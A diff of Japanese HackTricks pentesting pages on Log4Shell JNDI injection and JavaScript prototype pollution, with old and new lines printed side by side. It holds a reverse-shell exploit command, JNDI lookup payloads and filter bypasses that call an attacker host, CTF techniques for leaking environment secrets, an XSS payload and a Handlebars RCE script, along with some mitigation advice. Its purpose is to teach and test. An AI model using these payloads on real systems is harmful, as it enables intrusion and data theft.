java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
``` ```
![](<../../.gitbook/assets/image (642) (1) (1).png>) ![](<../../.gitbook/assets/image (642) (1) (1).png>)
後、脆弱性を悪用し、**リバースシェル**を取得するために生成されたJNDIリンクを簡単に使用できます。脆弱なlog4jバージョンに送信するだけです: **`${ldap://10.10.14.10:1389/generated}`** なら、生成されたJNDIリンクを使用して脆弱性を悪用し、**リバースシェル**を取得することが簡単にできます。脆弱なバージョンのlog4jに送信するだけです: **`${ldap://10.10.14.10:1389/generated}`**
### バイパス ### バイパス
```java ```java
@ -301,7 +302,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
``` ```
## 自動スキャナー ### 自動スキャナー
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -319,19 +320,19 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Log4Shell攻撃後の利用 ## Log4Shellの脆弱性を悪用した後
この[**CTF解説**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**であることがよく説明されています。 この[**CTF解説**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**である方法がよく説明されています。
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります:
> バージョン2.16.0Java 8向けから、**メッセージルックアップ機能が完全に削除**されました。構成内のルックアップは引き続き機能します。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。 > バージョン2.16.0Java 8向けから、**メッセージルックアップ機能が完全に削除**されました。**構成内のルックアップは引き続き機能します**。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。
> バージョン2.17.0およびJava 7およびJava 6向けの2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開**されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。 > バージョン2.17.0およびJava 7およびJava 6向けの2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開**されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。
これは、デフォルトでは**`jndi`の悪用**はできないことを意味します。さらに、**再帰的なルックアップ**を行うには、それらを構成する必要があります。 これは、デフォルトでは**`jndi`の悪用はできない**ことを意味します。さらに、**再帰的なルックアップ**を行うには、それらを構成する必要があります。
たとえば、このCTFでは、次のようにファイルlog4j2.xmlで構成されていました たとえば、このCTFでは、次のようにファイルlog4j2.xmlで構成されていました:
```xml ```xml
<Console name="Console" target="SYSTEM_ERR"> <Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n"> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
@ -341,11 +342,11 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
### Env Lookups ### Env Lookups
[このCTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)では、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを外部に送出する必要がありました。\ [このCTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)では、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを外部に送出する必要がありました。\
このページで[**前回のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)で見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実のシナリオでは役立つかもしれません。 [**前回のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)のページで見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実生活のシナリオでは役立つかもしれません。
### Exfiltration in Exceptions ### Exfiltration in Exceptions
CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはPythonアプリケーションで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: **`${java:${env:FLAG}}`.** これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が発生するため機能します: このCTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリケーションで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: **`${java:${env:FLAG}}`.** これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が発生するため機能します:
![](<../../.gitbook/assets/image (157).png>) ![](<../../.gitbook/assets/image (157).png>)
@ -355,16 +356,16 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでしたが、変換パターンの前にルックアップが解決されなかったため、検出など他の用途には役立つかもしれません。 エラーメッセージ内のデータを外部に送出するのには役立ちませんでしたが、変換パターンの前にルックアップが解決されなかったため、他の用途(検出など)には役立つかもしれません。
### Conversion Patterns Regexes ### Conversion Patterns Regexes
ただし、**正規表現をサポートする変換パターン**を使用して、**バイナリサーチ**や**時間ベース**の動作を悪用して、ルックアップから情報を外部に送出することが可能です。 ただし、**正規表現をサポートする変換パターン**を使用して、**バイナリ検索**や**時間ベース**の動作を悪用して、ルックアップから情報を外部に送出することが可能です。
* **例外メッセージを介したバイナリサーチ** * **例外メッセージを介したバイナリ検索**
変換パターン**`%replace`**は、**文字列**から**コンテンツ**を**置換**するために**正規表現**を使用できます。これは次のように機能します: `replace{pattern}{regex}{substitution}`\ 変換パターン**`%replace`**は、**文字列**から**コンテンツ**を**置換**するために**正規表現**を使用できます。次のように機能します: `replace{pattern}{regex}{substitution}`\
この動作を悪用すると、**文字列内で正規表現が一致した場合に例外をトリガー**させることができます(一致しない場合は例外が発生しません)次のように: この動作を悪用すると、**文字列内で正規表現が一致した場合に例外をトリガーし**、一致しない場合は例外を発生させないようにすることができます。
```bash ```bash
%replace{${env:FLAG}}{^CTF.*}{${error}} %replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.* # The string searched is the env FLAG, the regex searched is ^CTF.*
@ -396,7 +397,7 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
> >
> もしフラグが `flagGuess` で始まる場合、フラグ全体が 29 個の `#` で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その結果の 29 個の `#` それぞれが 54 個の `#` で置き換えられます**。このプロセスは **6 回繰り返され**、合計で ` 29*54*54^6* =`` `` `**`96816014208` `#`** になります!** > もしフラグが `flagGuess` で始まる場合、フラグ全体が 29 個の `#` で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その結果の 29 個の `#` それぞれが 54 個の `#` で置き換えられます**。このプロセスは **6 回繰り返され**、合計で ` 29*54*54^6* =`` `` `**`96816014208` `#`** になります!**
> >
> これだけの数の `#` を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。(フラグが `flagGuess` で始まらない場合、500 以外のステータスコードが返されます) > これだけの `#` を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。(フラグが `flagGuess` で始まらない場合、500 以外のステータスコードが返されます)
## 参考文献 ## 参考文献
@ -411,7 +412,7 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行うために重要なものを見つけます。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、全体のテックスタックで問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。 脆弱性を素早く修正できるように、最も重要な脆弱性を見つけます。Intruder は、攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -424,8 +425,8 @@ HackTricks をサポートする他の方法:
* **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる * [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションである [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見 * 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションである [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見する
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**する
* 自分のハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出する
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で学ぶ</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
## JavaScriptのオブジェクト <a href="#053a" id="053a"></a> ## JavaScriptのオブジェクト <a href="#053a" id="053a"></a>
JavaScriptのオブジェクトは、本質的にプロパティとして知られるキーと値のペアのコレクションです。オブジェクトは、`null`を引数として使用して`Object.create`を使用して作成でき、継承されたプロパティがない空のオブジェクトを生成します。 JavaScriptのオブジェクトは、プロパティとして知られるキーと値のコレクションです。オブジェクトは、`null`を引数として使用して`Object.create`を使用して作成でき、空のオブジェクトを生成できます。このメソッドを使用すると、継承されたプロパティを持たないオブジェクトを作成できます。
```javascript ```javascript
// Run this in the developers tools console // Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object. console.log(Object.create(null)); // This will output an empty object.
@ -45,7 +45,7 @@ employee1.__proto__
``` ```
### JavaScriptにおけるプロトタイプ ### JavaScriptにおけるプロトタイプ
JavaScriptでは、実行時にプロトタイプ属性の変更、追加、または削除が可能です。この柔軟性により、クラスの機能を動的に拡張することができます。 JavaScriptでは、実行時にプロトタイプ属性を変更、追加、または削除することができます。この柔軟性により、クラスの機能を動的に拡張することが可能となります。
`toString`や`valueOf`などの関数は、その振る舞いを変更するために変更することができ、JavaScriptのプロトタイプシステムの適応性を示すことができます。 `toString`や`valueOf`などの関数は、その振る舞いを変更するために変更することができ、JavaScriptのプロトタイプシステムの適応性を示すことができます。
@ -53,27 +53,27 @@ JavaScriptでは、実行時にプロトタイプ属性の変更、追加、ま
プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、他のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトにプロパティ/メソッドを追加することで作成されます。 プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、他のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトにプロパティ/メソッドを追加することで作成されます。
他のオブジェクト(たとえば`myPersonObj`など)のプロトタイプとして機能するオブジェクトにプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできます。ただし、このプロパティは明示的に呼び出されない限り、自動的に表示されません。 他のオブジェクトのプロトタイプとして機能するオブジェクト(たとえば`myPersonObj`など)にプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできるようになります。ただし、このプロパティは明示的に呼び出されない限り、自動的に表示されません。
## \_\_proto\_\_の汚染 <a href="#0d0a" id="0d0a"></a> ## \_\_proto\_\_の汚染 <a href="#0d0a" id="0d0a"></a>
## JavaScriptにおけるプロトタイプ汚染の探索 ## JavaScriptにおけるプロトタイプ汚染の探索
JavaScriptのオブジェクトはキーと値のペアで定義され、JavaScriptオブジェクトのプロトタイプから継承されます。これは、Objectプロトタイプを変更することで環境内のすべてのオブジェクトに影響を与えることができることを意味します。 JavaScriptのオブジェクトはキーと値のペアで定義され、JavaScriptオブジェクトのプロトタイプから継承されます。これは、Objectプロトタイプを変更することで環境内のすべてのオブジェクトに影響を与える可能性があることを意味します。
異なる例を使用して説明しましょう: 異なる例を使用して説明してみましょう:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model; this.model = model;
} }
var car1 = new Vehicle("Tesla Model S"); var car1 = new Vehicle("Tesla Model S");
``` ```
アクセス可能なオブジェクトのプロトタイプは次の通りです: アクセス可能なObject prototypeは次の通りです:
```javascript ```javascript
car1.__proto__.__proto__; car1.__proto__.__proto__;
Vehicle.__proto__.__proto__; Vehicle.__proto__.__proto__;
``` ```
以下のようにObjectのprototypeにプロパティを追加することで、すべてのJavaScriptオブジェクトがこれらの新しいプロパティを継承ます: 以下は、Objectのprototypeにプロパティを追加することで、すべてのJavaScriptオブジェクトがこれらの新しいプロパティを継承することになります:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model; this.model = model;
@ -104,7 +104,7 @@ console.log(car1.hasWheels); // Outputs true
car1.constructor.prototype.honk = function() { console.log("Honk!"); }; car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true; car1.constructor.prototype.isElectric = true;
``` ```
これは、`Vehicle`コンストラクタから作成されたオブジェクトにのみ影響し、それらに`beep`、`hasWheels`、`honk`、`isElectric`プロパティを付与します。 これは、`Vehicle`コンストラクタから作成されたオブジェクトにのみ影響を与え、`beep`、`hasWheels`、`honk`、`isElectric`プロパティを付与します。
JavaScriptオブジェクト全体に影響を与える2つの方法は次のとおりです JavaScriptオブジェクト全体に影響を与える2つの方法は次のとおりです
@ -117,11 +117,13 @@ Object.prototype.goodbye = function() { console.log("Goodbye!"); };
var example = {"key": "value"}; var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); }; example.constructor.prototype.greet = function() { console.log("Hello!"); };
``` ```
これらの操作の後、すべてのJavaScriptオブジェクトは`goodbye`および`greet`メソッドを実行できます。
## 他のオブジェクトの汚染 ## 他のオブジェクトの汚染
### クラスからObject.prototypeへ ### クラスからObject.prototypeへ
特定のオブジェクトを汚染し、`Object.prototype` に到達する必要があるシナリオでは、次のようなコードを使用してそれを検索できます。 特定のオブジェクトを汚染し、`Object.prototype`に到達する必要があるシナリオでは、次のようなコードでそれを検索できます:
```javascript ```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/ // From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -144,7 +146,7 @@ console.log(key1 + "." + key2)
``` ```
### 配列要素の汚染 ### 配列要素の汚染
JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、**配列の値**も**インデックスによって**アクセス可能な値を汚染できることに注意してください(値を上書きすることはできないため、書き込まれていないが何らかの方法で使用されているインデックスを汚染する必要があります)。 JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、**配列の値**も汚染できます。アクセス可能な**インデックス**によって(値を上書きすることはできないため、書き込まれていないがどこかで使用されているインデックスを汚染する必要があります)。
```javascript ```javascript
c = [1,2] c = [1,2]
a = [] a = []
@ -156,9 +158,7 @@ c[1] // 2 -- not
``` ```
### Html要素の汚染 ### Html要素の汚染
JSを使用してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコード**を書き込むことが可能です。[この解説と例を参考に](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。 JSを使用してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコード**を書き込むことが可能です。[この解説と例を参考にしました](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。
{% code overflow="wrap" %}
```javascript ```javascript
// Create element // Create element
devSettings["root"] = document.createElement('main') devSettings["root"] = document.createElement('main')
@ -175,13 +175,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### 基本的な例 ### 基本的な例
プロトタイプ汚染は、アプリケーション内の欠陥によって`Object.prototype`のプロパティを上書きできるようにすることで発生します。これは、ほとんどのオブジェクトが`Object.prototype`からプロパティを派生させるためです。 プロトタイプ汚染は、アプリケーション内の欠陥によって`Object.prototype`のプロパティを上書きできるようにすることに起因します。これは、ほとんどのオブジェクトが`Object.prototype`からプロパティを派生させるためです。
最も簡単な例は、チェックされるオブジェクトの**未定義の属性**に値を追加することです。 最も簡単な例は、チェックされるオブジェクトの**未定義の属性**に値を追加することです。
```javascript ```javascript
if (user.admin) { if (user.admin) {
``` ```
もし属性 **`admin` が未定義** である場合、PP を悪用して次のように True に設定することが可能です: もし属性 **`admin` が未定義** であれば、次のようにして PP を悪用して True に設定することが可能です:
```javascript ```javascript
Object.prototype.isAdmin = true Object.prototype.isAdmin = true
let user = {} let user = {}
@ -189,7 +189,7 @@ user.isAdmin // true
``` ```
このメカニズムは、特定の入力を攻撃者が制御できる場合、プロトタイプをすべてのオブジェクトに変更できるようにプロパティを操作することに関わります。この操作は通常、JavaScriptにおいてオブジェクトのプロトタイプを直接変更することと同義である`__proto__`プロパティの設定を含みます。 このメカニズムは、特定の入力を攻撃者が制御できる場合、プロトタイプをすべてのオブジェクトに変更できるようにプロパティを操作することに関わります。この操作は通常、JavaScriptにおいてオブジェクトのプロトタイプを直接変更することと同義である`__proto__`プロパティの設定を含みます。
この攻撃が成功する条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)で概説されているように、次のとおりです: この攻撃が成功する条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)で概説されている通り、次のとおりです:
- 再帰的なマージを実行する。 - 再帰的なマージを実行する。
- パスに基づいてプロパティを定義する。 - パスに基づいてプロパティを定義する。
@ -212,20 +212,20 @@ customer.__proto__.toString = ()=>{alert("polluted")}
### CVE-201911358: jQuery $ .extendを介したプロトタイプ汚染攻撃 ### CVE-201911358: jQuery $ .extendを介したプロトタイプ汚染攻撃
[詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) [詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
jQueryでは、`$ .extend` 関数が深いコピー機能が適切に使用されていない場合、プロトタイプ汚染につながる可能性があります。 この関数は、通常、オブジェクトのクローン作成やデフォルトオブジェクトからプロパティをマージするために使用されます。 ただし、誤って構成されると、新しいオブジェクトに意図されたプロパティが代わりにプロトタイプに割り当てられる可能性があります。 たとえば: jQueryでは、`$ .extend` 関数が適切に使用されない場合、ディープコピー機能によってプロトタイプ汚染が発生する可能性があります。 この関数は、通常、オブジェクトのクローン作成やデフォルトオブジェクトからプロパティをマージするために使用されます。 ただし、誤って構成されると、新しいオブジェクトに意図されたプロパティが代わりにプロトタイプに割り当てられる可能性があります。 たとえば:
```javascript ```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')); $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true console.log({}.devMode); // Outputs: true
``` ```
この脆弱性は、CVE-201911358として特定されており、深いコピーが誤ってプロトタイプを変更し、`isAdmin`などのプロパティが適切な存在確認なしにチェックされる場合、権限のない管理者アクセスなどの潜在的なセキュリティリスクが発生することを示しています。 この脆弱性は、CVE-201911358として特定されており、深いコピーが誤ってプロトタイプを変更し、`isAdmin`などのプロパティが適切な存在確認なしにチェックされると、管理者アクセスなどの潜在的なセキュリティリスクが発生する可能性があります。
### CVE-20183721、CVE-201910744: lodashを介したプロトタイプ汚染攻撃 ### CVE-20183721、CVE-201910744: lodashを介したプロトタイプ汚染攻撃
[詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) [詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash)は同様のプロトタイプ汚染の脆弱性CVE-20183721、CVE-201910744に直面しました。これらの問題はバージョン4.17.11で解決されました。 [Lodash](https://www.npmjs.com/package/lodash)は同様のプロトタイプ汚染の脆弱性CVE-20183721、CVE-201910744に直面しました。これらの問題はバージョン4.17.11で対処されました。
### 他のCVEを使用したチュートリアル ### 他のCVEを含むチュートリアル
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} {% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
@ -235,7 +235,7 @@ NodeJSは、テンプレートエンジンやTypeScriptなどの機能でJavaScr
#### Handlebarsの脆弱性分析 #### Handlebarsの脆弱性分析
Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃の影響を受けます。この脆弱性は、`javascript-compiler.js`ファイル内の特定の関数から発生します。たとえば、`appendContent`関数は、`pendingContent`が存在する場合にそれを連結し、`pushSource`関数は、ソースを追加した後に`pendingContent`を`undefined`にリセットします。 Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃の影響を受ける可能性があります。この脆弱性は、`javascript-compiler.js`ファイル内の特定の関数から発生します。たとえば、`appendContent`関数は、`pendingContent`が存在する場合にそれを連結し、`pushSource`関数は、ソースを追加した後に`pendingContent`を`undefined`にリセットします。
##### 攻撃プロセス ##### 攻撃プロセス
@ -270,9 +270,9 @@ console.log(eval('(' + template + ')')['main'].toString());
``` ```
このコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。 このコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。
**外部参照**: 'flat'ライブラリに関連するプロトタイプ汚染に関する問題が見つかりました。詳細はこちら: [GitHubの問題](https://github.com/hughsk/flat/issues/105)。 **外部参照**: 'flat'ライブラリに関連するプロトタイプ汚染問題が見つかりました。詳細はこちら: [GitHubの問題](https://github.com/hughsk/flat/issues/105)。
**外部参照**: [ 'flat'ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105) **外部参照**: 'flat'ライブラリにおけるプロトタイプ汚染に関連する問題: [GitHubの問題](https://github.com/hughsk/flat/issues/105)
Pythonでのプロトタイプ汚染の悪用例: Pythonでのプロトタイプ汚染の悪用例:
```python ```python
@ -325,17 +325,17 @@ requests.get(TARGET_URL)
プロトタイプ汚染のリスクを減らすために、以下にリストされている戦略が採用されることがあります: プロトタイプ汚染のリスクを減らすために、以下にリストされている戦略が採用されることがあります:
1. **オブジェクトの不変性**`Object.prototype` は `Object.freeze` を適用することで不変にすることができます。 1. **オブジェクトの不変性**`Object.freeze`を適用することで、`Object.prototype`を不変にすることができます。
2. **入力の検証**JSON 入力は厳密にアプリケーションのスキーマに対して検証されるべきです。 2. **入力の検証**JSON入力は、アプリケーションのスキーマに厳密に検証されるべきです。
3. **安全なマージ関数**:再帰的なマージ関数の危険な使用は避けるべきです。 3. **安全なマージ関数**:再帰的なマージ関数の危険な使用は避けるべきです。
4. **プロトタイプのないオブジェクト**`Object.create(null)` を使用してプロトタイププロパティのないオブジェクトを作成することができます。 4. **プロトタイプのないオブジェクト**`Object.create(null)`を使用してプロトタイププロパティのないオブジェクトを作成できます。
5. **Map の使用**`Object` の代わりに、キーと値のペアを格納するために `Map` を使用すべきです。 5. **Mapの使用**`Object`の代わりに、キーと値のペアを格納するために`Map`を使用すべきです。
6. **ライブラリの更新**:定期的にライブラリを更新してセキュリティパッチを取り込むことができます。 6. **ライブラリの更新**:定期的にライブラリを更新してセキュリティパッチを組み込むことができます。
7. **リンターと静的解析ツール**ESLint のような適切なプラグインを使用して、プロトタイプ汚染の脆弱性を検出して防止するためのツールを使用します。 7. **リンターと静的解析ツール**ESLintなどの適切なプラグインを使用して、プロトタイプ汚染の脆弱性を検出および防止するためのツールを使用します。
8. **コードレビュー**:プロトタイプ汚染に関連する潜在的なリスクを特定し、解決するために徹底的なコードレビューを実装します。 8. **コードレビュー**:プロトタイプ汚染に関連する潜在的なリスクを特定し、是正するために徹底的なコードレビューを実装します。
9. **セキュリティトレーニング**:開発者にプロトタイプ汚染のリスクと安全なコードの書き方に関するベストプラクティスを教育します。 9. **セキュリティトレーニング**:開発者にプロトタイプ汚染のリスクと安全なコードの書き方に関するベストプラクティスを教育します。
10. **注意してライブラリを使用する**:サードパーティのライブラリを使用する際は注意が必要です。セキュリティポジションを評価し、特にオブジェクトを操作するライブラリのコードをレビューします。 10. **注意してライブラリを使用する**:サードパーティのライブラリを使用する際は注意が必要です。セキュリティポジションを評価し、特にオブジェクトを操作するライブラリのコードをレビューします。
11. **ランタイム保護**:セキュリティに焦点を当てた npm パッケージを使用して、プロトタイプ汚染攻撃を検出して防止するランタイム保護メカニズムを採用します。 11. **ランタイム保護**セキュリティに焦点を当てたnpmパッケージを使用して、プロトタイプ汚染攻撃を検出および防止するランタイム保護メカニズムを採用します。
## 参考文献 ## 参考文献
@ -346,14 +346,14 @@ requests.get(TARGET_URL)
<details> <details>
